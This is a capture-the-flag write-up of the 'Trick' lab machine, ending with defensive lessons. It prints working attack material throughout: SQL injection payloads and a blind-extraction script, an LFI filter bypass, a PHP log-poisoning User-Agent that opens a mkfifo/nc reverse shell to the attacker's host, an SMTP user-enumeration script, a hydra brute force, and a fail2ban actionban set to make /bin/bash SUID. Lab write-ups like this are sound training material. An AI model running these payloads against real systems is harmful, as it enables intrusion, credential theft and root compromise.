Trick
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Trick chains several classic web flaws. A DNS zone transfer revealspreprod-payroll.trick.htb; on its panel, a'or 1=1-- -(SQLi) bypasses auth and an automated boolean-based extraction dumpsEnemigosss:SuperGucciRainbowCake. A subdomain fuzz findspreprod-marketing.trick.htb, vulnerable to an LFI that bypasses the../filter with....//. The LFI becomes RCE via nginx log poisoning (theUser-Agentheader), giving a shell asmichael. Finally,michaelcan restart fail2ban via sudo: editing itsactionbanto make/bin/bashSUID (fail2ban abuse) yields root.
Recon
Ping
ping -c 1 10.10.11.166
PING 10.10.11.166 (10.10.11.166) 56(84) bytes of data.
64 bytes from 10.10.11.166: icmp_seq=1 ttl=63 time=107 msTTL 63 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 63 = 64−1; a hint, not proof (it can be spoofed), confirmed by the service scan.
UDP sweep
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.166 | grep -v 'no-response'
Initiating UDP Scan at 18:58
Discovered open port 53/udp on 10.10.11.166
Completed UDP Scan at 18:58, 0.58s elapsed (100 total ports)
Not shown: 5 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
53/udp open domain udp-response ttl 63
Nmap done: 1 IP address (1 host up) scanned in 0.66 secondsA single open UDP port, 53 (DNS). A box exposing DNS is already unusual, and it usually means it resolves names for something: internal domains, subdomains, virtual hosting. Noted as a priority.
Port scan
We sweep all 65535 TCP ports to find the open ones and then run a targeted version scan over them (two phases: discover fast, then profile).
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.166 -oG scan
Initiating SYN Stealth Scan at 18:58
Discovered open port 25/tcp on 10.10.11.166
Discovered open port 80/tcp on 10.10.11.166
Discovered open port 53/tcp on 10.10.11.166
Discovered open port 22/tcp on 10.10.11.166
Completed SYN Stealth Scan at 18:58, 15.24s elapsed (65535 total ports)
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
25/tcp open smtp syn-ack ttl 63
53/tcp open domain syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 15.34 secondsThe remaining 65531 come back closed (they answer with RST), not filtered: there is no firewall dropping traffic, there is simply nothing listening. Port 53 also shows up on TCP, confirming a full DNS server (UDP for normal queries, TCP for large answers and zone transfers).
extractPorts scan
Extracting information...
IP Address: 10.10.11.166
Open ports: 22,25,53,80
Ports copied to clipboardnmap -p22,25,53,80 -sCV 10.10.11.166
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap ThemeThe version detail brings two valuable leads: SMTP (Postfix) supports VRFY, a command for asking whether an account exists (system user enumeration), and DNS is BIND, which may allow zone transfers.
TCP 80: the site is a decoy
whatweb http://10.10.11.166
http://10.10.11.166 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.14.2], IP[10.10.11.166], Script, Title[Coming Soon - Start Bootstrap Theme], nginx[1.14.2]Wappalyzer adds nothing: just nginx 1.14.2, catalogued both as web server and as reverse proxy, which suggests there may be more than one virtual host behind it.

The source confirms it is an off-the-shelf template nobody customised:

<title>Coming Soon - Start Bootstrap Theme</title>
...
<!-- * * SB Forms Contact Form * *-->
<!-- This form is pre-integrated with SB Forms.-->
<!-- To make this form functional, sign up at-->
<!-- https://startbootstrap.com/solution/contact-forms-->
<!-- to get an API token!-->
<form id="contactForm" data-sb-form-api-token="API_TOKEN">The data-sb-form-api-token="API_TOKEN" is the template's unreplaced placeholder, not a real leak. Port 80 is not the vector; focus goes back to DNS.
DNS - TCP/UDP 53
With a DNS server in front and no idea which domain it serves, the first move is a reverse lookup: asking the server itself which name corresponds to its IP.
nslookup
> server 10.10.11.166
> 10.10.11.166
> server 10.10.11.166
Default server: 10.10.11.166
Address: 10.10.11.166#53
> 10.10.11.166
166.11.10.10.in-addr.arpa name = trick.htb.The same result with dig, which also shows the supporting records:
dig -x 10.10.11.166 @10.10.11.166
;; ANSWER SECTION:
166.11.10.10.in-addr.arpa. 604800 IN PTR trick.htb.
;; AUTHORITY SECTION:
11.10.10.in-addr.arpa. 604800 IN NS trick.htb.
;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1One detail is worth understanding: the A record for trick.htb points at 127.0.0.1, not 10.10.11.166. That is normal in these setups, DNS resolves the name from the server's own point of view, and it is exactly why the domain has to be mapped by hand in /etc/hosts instead of letting DNS resolve it.
nano /etc/hosts
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.166 trick.htbWith the domain in hand, we try a zone transfer (AXFR), which is asking DNS for the whole zone at once. It should only be allowed to declared secondary servers:
dig axfr trick.htb @10.10.11.166
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. ...
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.The transfer works and leaks the subdomain preprod-payroll.trick.htb, which also goes into /etc/hosts:

10.10.11.166 trick.htb preprod-payroll.trick.htbSMTP - TCP 25
In parallel, we make use of the VRFY nmap announced. No tool required: an nc that sends EHLO, VRFY <user> and QUIT, and looks at the response code. A 252 means the account exists.
cat smtp_userenum.sh
#!/bin/bash
userfile="/home/krmena/SecLists/Usernames/xato-net-10-million-usernames.txt"
userlist=smtp_userlist.txt
max_threads=400
counter=0
while read -r user; do
(
response=$(echo -e "EHLO test\nVRFY $user\nQUIT" | nc 10.10.11.166 25 | tail -n 2 | head -n 1 | awk '{print $1}')
if [ "$response" = "252" ]; then
echo -e "${yellowColour}[+]${endColour} ${blueColour}User '$user' exists${endColour}"
echo "$user" >> $userlist
fi
) &
counter=$((counter+1))
if [ "$counter" -ge "$max_threads" ]; then
wait
counter=0
fi
done < "$userfile"
waitThe max_threads block is not decoration: each query takes about five seconds because nc waits for the server to close, so serially the wordlist would take weeks. Firing 400 in parallel and waiting per batch brings it down to minutes.
./smtp_userenum.sh
[+] User 'michael' exists
[+] User 'root' exists
[+] User 'man' exists
[+] User 'games' existsMost are system accounts on any Debian (mail, news, man, bin, games), but michael is not: it is a real user, and that name will come back later.
TCP 80: fuzzing the main domain
Before jumping to the subdomain, we close out the main one:
dirsearch -u http://trick.htb/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://trick.htb/
[13:31:16] Starting:
[13:31:18] 301 - 185B - /js → http://trick.htb/js/
[13:31:43] 301 - 185B - /assets → http://trick.htb/assets/
[13:31:52] 301 - 185B - /css → http://trick.htb/css/
Task CompletedOnly the three directories of a static template. We still download the site and search by content, which is sometimes where the things fuzzing misses show up:
grep -riE 'dbpass|creds|password|trick|pass|user' --text .
./trick.htb/index.html: <!-- This is what your users will see when the form-->
./trick.htb/css/styles.css: -webkit-user-select: none;
./trick.htb/css/styles.css: -moz-user-select: none;
./trick.htb/css/styles.css: user-select: none;
...Every hit is noise: user-select CSS properties and template comments. Not one credential. The main domain is closed.
Panel access: SQL injection
Authentication bypass
preprod-payroll.trick.htb shows a Recruitment Management System with a login. First, rule out the trivial:

Username or password is incorrect.admin:admin fails, but the message is informative: the application queries a database to validate, and that is exactly where to try an injection. The classic SQL injection payload:
'or 1=1-- -
The logic is simple: if the original query is SELECT * FROM users WHERE username='<input>' AND password='<input>', the quote closes the string, or 1=1 makes the condition always true and -- - comments out the rest (including the password check). The server returns the first row of the table, which is the administrator:

Automated boolean blind SQLi
Being inside the panel is useful, but the injection gives much more. Comparing the response to a true and a false condition, the service returns 1 when true and 3 when false: a boolean blind injection:
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or 1=1-- -&password='test'" # -> 1
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or 1=3-- -&password='test'" # -> 3
1
3That one-character oracle is all we need. We verify it with a real query, comparing the first character of the database name:
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or (select substring(database(),1,1))='p'-- -&password='test'"
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or (select substring(database(),1,1))='g'-- -&password='test'"
# substring(database(),1,1) = 'p' → 1 (true)
# substring(database(),1,1) = 'g' → 3 (false)With 'p' it answers 1 and with 'g' it answers 3: the first character is a p. Repeating that for every position and every possible character is what the Python script automates: two nested loops (position and character) that concatenate the result and paint it with a pwn progress bar.
for position in range(1, 60):
for character in characters:
post_data = {
'username': "' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s'-- -" % (position, character),
'password': 'test'
}
r = requests.post(login_url, data=post_data)
if r.text == "1":
result += character
p2.status(result)
breakpython3 sqli.py
[^] SQLi: ' or substring((select group_concat(schema_name) from information_schema.schemata),32,1)='v'-- -
[0] SQLi: information_schema,payroll_dbThe application's database is payroll_db. Changing the script's query (same mechanics, different source) gives the tables:
' or hex(substring((select group_concat(table_name) from information_schema.tables where table_schema='payroll_db'),%d,1))=hex('%s')-- -
[w] SQLi: ' or hex(substring((select group_concat(table_name) from information_schema.tables where table_schema='payroll_db'),119,1))=hex(',')-- -
[d] SQLi: position,employee,department,payroll_items,attendance,employee_deductions,employee_allowances,users,deductions,payroll,Wrapping both sides in hex() is not a whim: it avoids problems with case comparison (MySQL compares strings case-insensitively by default) and with characters that would break the quoting. Of the ten tables, the one that matters is users. Its columns:
' or hex(substring((select group_concat(column_name) from information_schema.columns where table_schema='payroll_db' and table_name='users'),%d,1))=hex('%s')-- -
[ ] SQLi: ' or hex(substring((select group_concat(column_name) from information_schema.columns where table_schema='payroll_db' and table_name='users'),58,1))=hex('T')-- -
[/] SQLi: id,doctor_id,name,address,contact,username,password,typeAnd with name, username and password located, the records:
' or hex(substring((select group_concat(name,':',username,':',password) from users),%d,1))=hex('%s')-- -
[+] SQLi: Administrator:Enemigosss:SuperGucciRainbowCakeA single user, and the password in cleartext (not even hashed).
The same password, without SQLi
The shortcut is worth showing, because the same data was two clicks away inside the panel. The Users tab lists the single user and offers an edit button:


The password field comes pre-filled, but hidden behind the HTML's type="password". That hiding is purely visual: the value is already in the browser's DOM, so removing the attribute from the inspector reveals it in cleartext.

It matches what the SQLi produced. We save it:
echo 'Enemigosss:SuperGucciRainbowCake' > creds.txt
cat creds.txt
Enemigosss:SuperGucciRainbowCakeShell as michael
More subdomains: vhost fuzzing
The preprod- prefix suggests there are more pre-production environments and that the zone transfer only declared one. A Host header fuzz keeps the prefix and brute-forces the rest:
wfuzz -u 'http://trick.htb' -H 'Host: preprod-FUZZ.trick.htb' \
-w directory-list-2.3-big.txt -t 200 --hh=5480,173
ID Response Lines Word Chars Payload
000000566: 200 178 L 631 W 9660 Ch "marketing"The --hh=5480,173 filters by response length: 5480 characters is the default landing page (what nginx returns for an unknown Host) and 173 the error response. Without that filter, the 220000 requests would have returned 220000 false positives. preprod-marketing falls outside both sizes at 9660 characters.
nano /etc/hosts
cat /etc/hosts
10.10.11.166 trick.htb preprod-payroll.trick.htb preprod-marketing.trick.htbLFI with a ../ bypass
The new subdomain is a corporate site, and its navigation gives something away: each section loads via a page parameter.

A parameter that takes a filename and includes it is an immediate Local File Inclusion candidate. The first attempt, with the usual ../, returns nothing:

A blank page, not an error. That usually means ../ is being filtered, not that the parameter is safe. The question is how it is filtered: if the sanitiser is a single-pass str_replace('../',''), all we need is to nest the pattern. With ....//, removing the ../ in the middle leaves ../ again.
curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd' --path-as-is
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bashcurl's --path-as-is is essential: without it, curl normalises the path and collapses the ../ before sending the request, so the payload would never reach the server intact.
Besides the michael at the end, passwd confirms the stack we already knew (mysql, postfix, bind, all consistent with ports 25 and 53). Filtering for accounts with a real shell:
curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd' \
--path-as-is | grep bash
root:x:0:0:root:/root:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bashOnly root and michael, the same name SMTP had produced. Two independent sources pointing at the same user.
LFI to RCE: nginx log poisoning
With an LFI we could try reading michael's id_rsa, but there is a more reliable route. Wappalyzer on this subdomain confirms the fact that makes it possible: besides nginx, the application is PHP.

PHP is the key: the LFI does not just read the included file, it interprets it. If we can write PHP code into a file we can include, that code will run. And nginx writes every request it receives into /var/log/nginx/access.log, including the User-Agent header verbatim.
First we check the log is readable through the LFI:
curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log' --path-as-is
10.10.16.6 - - [12/Nov/2025:13:31:17 +0100] "GET / HTTP/1.1" 200 1837 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET / HTTP/1.1" 200 1837 "-" "Mozilla/5.0 ..."
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET /Drv7zc HTTP/1.1" 404 199 "-" "Mozilla/5.0 ..."
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET /RG2Gkt HTTP/1.1" 404 199 "-" "Mozilla/5.0 ..."It reads, and we can even see the trace of our own fuzzing (the two random paths with 404 are the ones dirsearch uses to calibrate). With the log confirmed readable and the User-Agent landing inside it, we set up nc and poison:
nc -nlvp 4444curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log' \
-H "User-Agent: <?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.6 4444 >/tmp/f');?>"
10.10.16.6 - - [12/Nov/2025:14:19:54 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log H
10.10.16.6 - - [12/Nov/2025:14:20:13 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log H
8.15.0"
10.10.16.6 - - [12/Nov/2025:14:20:25 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log HThis request does two things at once: nginx records our malicious User-Agent in the log and the LFI includes that same log. What we see is the log before the new line was written; requesting it again is enough for the freshly written PHP to be interpreted:
curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log'
michael@trick:/var/www/market$ whoami
michaelThe payload uses a FIFO (mkfifo /tmp/f) instead of a bash -i >& /dev/tcp/... because PHP's exec() does not inherit a TTY: the fifo bridges nc and the shell in both directions.
The user flag:

michael@trick:/var/www/market$ cat /home/michael/user.txt
ed45e92ac0dc32c574a9d6b22783c11bPrivilege escalation
fail2ban abuse via sudo
michael can restart fail2ban as root without a password (fail2ban abuse):
sudo -l
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restartfail2ban runs an action (actionban) when it bans an IP, defined in /etc/fail2ban/action.d/iptables-multiport.conf. michael belongs to the security group and, although the file is not directly writable, he can replace it: copy it, edit the actionban to set SUID on /bin/bash, rename the original and drop the modified one in its place:
cp action.d/iptables-multiport.conf /tmp/iptables-multiport.conf
# edit: actionban = chmod u+s /bin/bash
mv action.d/iptables-multiport.conf action.d/iptables-multiport.bak
mv /tmp/iptables-multiport.conf action.d/iptables-multiport.conf
michael@trick:/etc/fail2ban$ cat action.d/iptables-multiport.conf | grep actionban
# Notes.: command executed once before each actionban command
# Option: actionban
actionban = chmod u+s /bin/bashThe cat ... | grep actionban confirms the replaced file defines actionban = chmod u+s /bin/bash.
We apply the configuration with the authorised restart and trigger the actionban by causing bans (e.g. an SSH brute force with hydra). When the action runs, /bin/bash becomes SUID and bash -p keeps the inherited euid=0 instead of dropping it (which is what bash does by default at startup), giving us root:
sudo /etc/init.d/fail2ban restart
hydra -l michael -P rockyou.txt ssh://10.10.11.166 -t 64 -I
ls -l /bin/bash # -rwsr-xr-x ... root root
bash -p
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
bash-5.0# id
uid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security)The final flag:

bash-5.0# cat /root/root.txt
6db358fdfa64b72f93a56824eb42ce8fAttack chain
TTL 63 (Linux) ─▶ UDP 53 + TCP 22/25/53/80
│ nslookup/dig -x ─▶ trick.htb │ AXFR ─▶ preprod-payroll
▼
SMTP VRFY (400-thread script) ─▶ michael
│ payroll: SQLi 'or 1=1-- - ─▶ admin (the inspector gives the same)
│ blind boolean SQLi ─▶ payroll_db.users ─▶ Enemigosss:SuperGucciRainbowCake
▼
vhost fuzz ─▶ preprod-marketing ─▶ LFI (....// bypass, --path-as-is)
│ Wappalyzer: PHP ─▶ the include INTERPRETS
│ log poisoning (User-Agent in access.log)
▼
michael shell ─▶ user.txt
│ sudo /etc/init.d/fail2ban restart + actionban = chmod u+s /bin/bash
▼
SUID /bin/bash ─▶ bash -p ─▶ root ─▶ root.txtLessons learned
- Do not expose zone transfers. An open
AXFRhands over the map of internal subdomains (preprod-*), including the vulnerable pre-production environment. Restrictallow-transferto the secondaries. - The zone does not tell the whole story. The
AXFRonly declaredpreprod-payroll; the subdomain that opens the box (preprod-marketing) came from fuzzing theHostheader. One source of information does not replace the other. - VRFY leaks users. Leaving
VRFYenabled on SMTP allows enumerating system accounts (michael), a base for brute force or for confirming users found via the LFI. Disable it. - A
../filter that strips once is trivial to bypass.....//collapses to../after the replacement. Sanitise with real canonicalisation (realpath) and allowlists, not withstr_replace. - A password hidden behind
type="password"is not hidden. The value already travelled to the browser; the attribute only changes how it is drawn. Never send the client a secret the client should not see. - LFI + PHP + readable logs = RCE. Poisoning the nginx log turns a file read into execution, because PHP's
includeinterprets what it reads. Restrict access to logs and never include user-controlled paths. - fail2ban is a binary that runs commands as root. Granting
restartvia sudo, with tamperable action files, is equivalent to root. Protectaction.d/and do not grant control over services that run arbitrary actions.